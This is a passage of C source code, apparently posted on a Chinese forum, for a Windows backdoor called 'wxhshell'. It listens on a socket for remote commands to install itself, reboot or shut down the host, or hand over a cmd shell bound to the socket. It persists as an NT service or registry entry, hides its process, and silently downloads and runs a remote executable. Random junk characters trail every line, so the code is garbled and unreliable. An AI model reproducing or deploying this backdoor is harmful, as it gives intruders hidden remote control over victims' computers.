    switch(cmd[0]) { j_{f(.5  
  =1+/`w  
  // 帮助 TFG0~"4Cz  
  case '?': { Y.b?.)u&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ufn% sA  
    break; <  UD90}  
  } ~$jRn(2  
  // 安装 rcAPp  
  case 'i': { 8.zYa(< 2  
    if(Install()) U62Z ?nge%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JI[{n~bhGD  
    else d<cqY<y VA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PS3jCT  
    break; jRN>^Ur;g  
    } .G-L/*&%  
  // 卸载 HJ_8 `( '  
  case 'r': { !<vy!pXg  
    if(Uninstall()) D4O^5?F)|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GMlJM  
    else MG,)|XpyWJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6&;h+;h  
    break; \OwCZ!`7i  
    } UB,0c)   
  // 显示 wxhshell 所在路径 `O]$FpO  
  case 'p': { ,*.qa0E#W  
    char svExeFile[MAX_PATH]; }z F,dst  
    strcpy(svExeFile,"\n\r"); zyB>peAp6j  
      strcat(svExeFile,ExeFile); 5c0$oyl)M  
        send(wsh,svExeFile,strlen(svExeFile),0); wv  
    break; O$7cN\Z  
    } Z.b?Jzj  
  // 重启 FA{'Ki`  
  case 'b': { _`lPLBr6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B:VGa<lx5  
    if(Boot(REBOOT)) cI'su?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }ag;yf;  
    else { 9\VV++}s>o  
    closesocket(wsh); XzBlT( `w  
    ExitThread(0); Z^c\M\`7  
    } wUfm)Q#  
    break; 88VI _<  
    } :W#?U yo  
  // 关机 |j4p  
  case 'd': { x~ID[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u s8.nL/  
    if(Boot(SHUTDOWN)) 7ufTmz#j<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xYY^tZIV  
    else { K7t_Q8  
    closesocket(wsh); gnadx52FP  
    ExitThread(0); BP@V:z  
    } q2U?EP{8~  
    break; uFuP%f!yY  
    } Myf2"\}  
  // 获取shell RG9iTA'  
  case 's': { %@8#+#@J0  
    CmdShell(wsh); VAp 1{  
    closesocket(wsh); R[l~E![!j  
    ExitThread(0); n5y0$S/ D  
    break; .O SQ8W }  
  } g"N&*V2  
  // 退出 Bkg./iP5x  
  case 'x': { vDyGxU!#\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,/"0tP&_;  
    CloseIt(wsh); !AG oI7W}  
    break; w~3z) ;  
    } :kC*<f\  
  // 离开 V`rxjv}!  
  case 'q': { b#*"eZj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); })j N 8px  
    closesocket(wsh); }}l jVUpC%  
    WSACleanup(); |xT'+~u  
    exit(1); >-y}t9[/  
    break; 8Y_lQfJa  
        } fNV-_^,R9  
  } NZ?dJ"eq7  
  } wEw;],ur  
k\RS L  
  // 提示信息 j8%Y[:~D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !b$]D?=}  
}  pLM?m  
  } {{AZW   
^a$L9p(  
  return; ^O}J',Fm%f  
}  yyGn <  
$W9dUR0  
// shell模块句柄 C}ASVywc,1  
int CmdShell(SOCKET sock) z /nW; ow  
{ ?J-D6;  
STARTUPINFO si; "N)InPR-  
ZeroMemory(&si,sizeof(si)); -C8LM ls  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !r9rTS]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {Es1bO  
PROCESS_INFORMATION ProcessInfo; ' Er\ 68  
char cmdline[]="cmd"; !3{. V\P)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )P,pW?h$  
  return 0; WXG0Z  
} AmQsay#I_  
{ R/e1-;  
// 自身启动模式 7I*rtc&Kb  
int StartFromService(void) bP,Ka  
{ KUC%Da3  
typedef struct pD }b$  
{ I:0dz:T7*  
  DWORD ExitStatus; xe9\5Gb}  
  DWORD PebBaseAddress; }h* j{b,  
  DWORD AffinityMask; w ~^{V4V  
  DWORD BasePriority; z2Z}mktP  
  ULONG UniqueProcessId; YN~1.!F  
  ULONG InheritedFromUniqueProcessId; t^}"8  
}   PROCESS_BASIC_INFORMATION; \FF|b"E_=  
cQsSJBZ[v5  
PROCNTQSIP NtQueryInformationProcess; x=X&b%09  
1bHQB$%z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z-yoJZi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c` N_MP  
gZ-:4G|J  
  HANDLE             hProcess; {bG.X?b  
  PROCESS_BASIC_INFORMATION pbi; D |fo:Xp,  
zy.v[Y1!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @, AB 2D  
  if(NULL == hInst ) return 0; "!uS!BI?  
>FJK$>[1:p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AS0mM HJk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l@]Fzl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %NfH`%`  
eLbh1L  
  if (!NtQueryInformationProcess) return 0; [E"3 ?p  
ylDfr){  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c8HETs1  
  if(!hProcess) return 0; {hm-0Q  
Ns#L9T#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C;#gy-  
L(X}37  
  CloseHandle(hProcess); b,'rz04^  
um\A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j 20m Z  
if(hProcess==NULL) return 0; Zu>CR_C  
7M_GGjP  
HMODULE hMod; vV*/"'>  
char procName[255]; #-{ljjMQI  
unsigned long cbNeeded; : qV|rih_Q  
(a~V<v"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;&kZ7%  
r5+ MjR  
  CloseHandle(hProcess); u'gsIuRJ  
*OHjw;xm+  
if(strstr(procName,"services")) return 1; // 以服务启动 RB;2  
Ri}JM3\J  
  return 0; // 注册表启动 238z'I+$G/  
} ZmI#-[/  
,4}s 1J#  
// 主模块 ]eX(K5 A  
int StartWxhshell(LPSTR lpCmdLine) Tz7R:S.  
{ = N:5#A  
  SOCKET wsl; A5O;C  
BOOL val=TRUE; `8TL*.9  
  int port=0; 8^R~qpg%  
  struct sockaddr_in door; :K(+ KN(  
g Eq6[G  
  if(wscfg.ws_autoins) Install(); z^y -A ?  
q~X}&}UT  
port=atoi(lpCmdLine); }/g1  
`qZ@eGZ z  
if(port<=0) port=wscfg.ws_port; 'lgS) m  
+!G)N~o  
  WSADATA data; "IWL& cH3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /)rv Ndn  
.e}`n)z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \tdYTb.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dQ#oY|a  
  door.sin_family = AF_INET; 1J&hm[3[K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q\~D:z$+CO  
  door.sin_port = htons(port); w2K>k/v{-  
("=24R=a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 18y'#<X!  
closesocket(wsl); VY0-18 o  
return 1; nrM-\'  
} 2,.8 oa(  
} OkK@8?0O  
  if(listen(wsl,2) == INVALID_SOCKET) { ;3Q3!+%j  
closesocket(wsl); *4l6+#W  
return 1; w" A{R  
} B;Co`o2  
  Wxhshell(wsl); _G%kEt_4  
  WSACleanup(); T3-/+4$0v  
)=0@4   
return 0; @j%7tfW  
R5<:3tk=X  
} |s!n7%|,7  
`<% w4 E  
// 以NT服务方式启动 <_4'So>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $- GwNG  
{ Nxm '* -A  
DWORD   status = 0; t<+gyAW  
  DWORD   specificError = 0xfffffff; Qaiqx"x3  
*bi;mQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ul:M=8nE%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t\\<+^[%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IN"6 =2:  
  serviceStatus.dwWin32ExitCode     = 0; >}86#^F  
  serviceStatus.dwServiceSpecificExitCode = 0; SqoO"(1x  
  serviceStatus.dwCheckPoint       = 0; "}uV=y  
  serviceStatus.dwWaitHint       = 0; Q?dzro4C  
-V||1@ |  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `V?NS,@$  
  if (hServiceStatusHandle==0) return; M7neOQHq  
q)tNH/  
status = GetLastError(); OL623jQX  
  if (status!=NO_ERROR) ul\FZT 4  
{ z>spRl,dr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Lx3`.F\mG  
    serviceStatus.dwCheckPoint       = 0; _147d5  
    serviceStatus.dwWaitHint       = 0; _No<fz8  
    serviceStatus.dwWin32ExitCode     = status; fc%C!^7  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bo/i =/7%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ _&z+  
    return; %v]-:5g'|  
  } H`T}k+e2-N  
EL9JM}%0v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vz)zl2F5sY  
  serviceStatus.dwCheckPoint       = 0; 7nbaR~ZV  
  serviceStatus.dwWaitHint       = 0; (KT+7j0^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P)UpUMt;k  
} ymA8`k5>@  
9 NqZ&S  
// 处理NT服务事件,比如:启动、停止 <;dFiI-GO#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E_K32) J-  
{ IVG77+O# }  
switch(fdwControl) DXfQy6k'  
{ 7:OF>**  
case SERVICE_CONTROL_STOP: ,v(ikPzd  
  serviceStatus.dwWin32ExitCode = 0; YU1z\pK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K)9f\1\  
  serviceStatus.dwCheckPoint   = 0; !]#;'  
  serviceStatus.dwWaitHint     = 0; (vbI4&r  
  { )'`@rq!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qf|c^B  
  } .WW|v  
  return; v t}A6mF  
case SERVICE_CONTROL_PAUSE: V"|j Dnn5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2!}rH w  
  break; 'zYx4&s  
case SERVICE_CONTROL_CONTINUE: Qh4Z{c@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r7  *'s  
  break; AXpyia7nU  
case SERVICE_CONTROL_INTERROGATE: M}9PicI?7  
  break; NQ\<~a`Eq  
}; {7 nz:f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ImI, q:[67  
} E)( Rhvij  
k)S'@>n{u  
// 标准应用程序主函数 A,%NdM;t=5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ngH_p>  
{ !ziO1U  
Yf x'7gj  
// 获取操作系统版本 fb|lWEw5h.  
OsIsNt=GetOsVer(); fMRMQR=6B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mvGj !'  
AM4 :xz  
  // 从命令行安装 rNX]tp{j  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6>/g`%`N  
(rjv3=9\3  
  // 下载执行文件 +L#Q3}=s  
if(wscfg.ws_downexe) { 9AZpvQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <z-+{-?z~  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~*ll,<L:  
} SR { KL#NC  
YRJw,xl  
if(!OsIsNt) { |(rTz!!-  
// 如果时win9x,隐藏进程并且设置为注册表启动 gJuA*^  
HideProc(); CWM_J9f  
StartWxhshell(lpCmdLine); 9K_p4 mq  
} Z=>#|pW,)  
else i^&^eg'.5  
  if(StartFromService()) xX{gm'3UYa  
  // 以服务方式启动 zgA/B{DaC;  
  StartServiceCtrlDispatcher(DispatchTable); B}Sl1)E  
else !"N-To-c  
  // 普通方式启动 /}RW~ax  
  StartWxhshell(lpCmdLine); 0o-KjX?kP  
%8T"h  
return 0; PkxhR;4  
}
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只看该作者 1 发表于: 2006-10-10
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